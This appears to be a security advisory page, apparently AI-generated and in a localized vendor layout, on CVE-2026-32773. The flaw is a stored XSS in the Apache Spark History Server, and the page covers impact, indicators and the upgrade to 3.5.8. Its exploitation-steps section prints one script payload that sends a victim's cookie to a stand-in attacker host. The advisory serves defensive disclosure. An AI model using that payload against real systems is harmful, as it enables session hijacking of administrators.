CVE-2026-32773
NixOS Análise e mitigação de vulnerabilidades

Visão geral

CVE-2026-32773 is a stored Cross-Site Scripting (XSS) vulnerability in the Apache Spark History Server that allows a malicious Spark job to inject arbitrary unescaped frontend code into the web interface. It affects Apache Spark versions 3.0.0 through 3.5.7 (prior to 3.5.8) and was disclosed on September 1, 2026 by Holden Karau via the oss-security mailing list, with credit to finder Yann Gourio. The vulnerability is tracked internally as SPARK-53747. It carries a CVSS v3.1 base score of 6.1 (Medium) (GitHub Advisory, oss-security).

Detalhes técnicos

The root cause is improper neutralization of script-related HTML tags in the Spark History Server web interface (CWE-80), where user-controlled data from Spark job metadata is rendered without proper HTML/JavaScript escaping. An attacker with permissions to submit a Spark job can embed malicious script payloads within job-related fields that are subsequently stored and rendered unescaped in the History Server UI. Exploitation requires a two-step social engineering component: the attacker submits a crafted job, then must trick a higher-privileged user into visiting the Spark History Server web page where the job history is displayed, triggering the injected script in the victim's browser (oss-security, GitHub Advisory).

Impacto

Successful exploitation results in arbitrary JavaScript execution within the browser session of the targeted higher-privileged user, enabling minimal privilege escalation. The confidentiality and integrity impacts are both rated Low — an attacker could potentially steal session tokens, perform actions on behalf of the victim within the Spark History Server, or access information visible to the higher-privileged user. Availability is not impacted, and the scope is changed (affecting the victim's browser context rather than the server itself) (GitHub Advisory, oss-security).

Exploração

There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation as of the disclosure date (GitHub Advisory). The EPSS score is approximately 0.258% (0.563% per GitHub Advisory), placing it in the lower percentiles for near-term exploitation likelihood. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation is further constrained by the requirement that the attacker already possess permissions to launch Spark jobs and must successfully social-engineer a higher-privileged user to visit the History Server page (oss-security).

Etapas de exploração

  1. Gain Spark Job Submission Access: Obtain credentials or permissions sufficient to submit a Spark job to the target cluster (requires relatively high existing privileges).
  2. Craft Malicious Job: Prepare a Spark job where metadata fields (e.g., job name, application name, or other fields rendered in the History Server UI) contain an XSS payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
  3. Submit the Job: Launch the crafted Spark job so it runs and its history is recorded in the Spark History Server.
  4. Social Engineer the Target: Trick a higher-privileged user (e.g., a Spark administrator) into visiting the Spark History Server web page where the malicious job's history is displayed — for example, by sending a link to the specific job history page.
  5. Payload Execution: When the privileged user's browser renders the unescaped job metadata, the injected script executes in their browser context, potentially stealing session cookies, performing actions as the victim, or exfiltrating data visible to the privileged user (oss-security, GitHub Advisory).

Indicadores de compromisso

  • Network: Unexpected outbound HTTP requests from a privileged user's browser to external domains shortly after visiting the Spark History Server; unusual redirects or beacon requests originating from History Server page loads.
  • Logs: Spark History Server access logs showing visits to job history pages containing unusual characters (<, >, script, javascript:) in job identifiers or application names; web server logs with encoded XSS strings in URL parameters or referrer fields.
  • Application: Spark job submissions with application names or metadata containing HTML/JavaScript special characters or script tags; jobs submitted by low-privileged users with anomalous naming patterns.
  • Browser: Unexpected JavaScript errors or network requests in browser developer tools when viewing Spark History Server pages (oss-security).

Mitigação e soluções alternativas

The primary remediation is to upgrade Apache Spark to version 3.5.8 or later, which includes proper XSS escaping in the History Server web interface (oss-security, GitHub Advisory). As interim mitigations, administrators should restrict network access to the Spark History Server web interface to trusted users only, and limit who has permissions to submit Spark jobs in the environment. Monitoring for suspicious job submissions containing HTML/script tags in metadata fields can also help detect exploitation attempts.

Reações da comunidade

The vulnerability was disclosed via the Apache oss-security mailing list and the Apache announce list with low severity classification, reflecting the constrained exploitation path. No significant broader media coverage or notable researcher commentary beyond the initial disclosure has been identified. The Apache project itself characterized the risk as minimal given the prerequisite permissions required (oss-security).

Recursos adicionais


OrigemEste relatório foi gerado usando IA

Relacionado NixOS Vulnerabilidades:

CVE ID

Gravidade

Pontuação

Tecnologias

Nome do componente

Exploração do CISA KEV

Tem correção

Data de publicação

CVE-2026-78662HIGH7.5
  • Docker logoDocker
  • headlamp-fips
NãoSimSep 02, 2026
CVE-2026-56855HIGH7.5
  • Docker logoDocker
  • argo-workflows-3.7
NãoSimSep 02, 2026
CVE-2026-84642HIGH7.5
  • NixOS logoNixOS
  • cpe:2.3:a:mozilla:thunderbird
NãoSimSep 01, 2026
CVE-2026-84641HIGH7.5
  • NixOS logoNixOS
  • cpe:2.3:a:mozilla:thunderbird
NãoSimSep 01, 2026
CVE-2026-32773MEDIUM6.1
  • NixOS logoNixOS
  • spark
NãoSimSep 02, 2026

Avaliação de vulnerabilidade gratuita

Compare sua postura de segurança na nuvem

Avalie suas práticas de segurança na nuvem em 9 domínios de segurança para comparar seu nível de risco e identificar lacunas em suas defesas.

Solicitar avaliação

Marque uma demonstração personalizada

Pronto para ver a Wiz em ação?

"A melhor experiência do usuário que eu já vi, fornece visibilidade total para cargas de trabalho na nuvem."
David EstlickCISO
"A Wiz fornece um único painel de vidro para ver o que está acontecendo em nossos ambientes de nuvem."
Adam FletcherDiretor de Segurança
"Sabemos que se a Wiz identifica algo como crítico, na verdade é."
Greg PoniatowskiChefe de Gerenciamento de Ameaças e Vulnerabilidades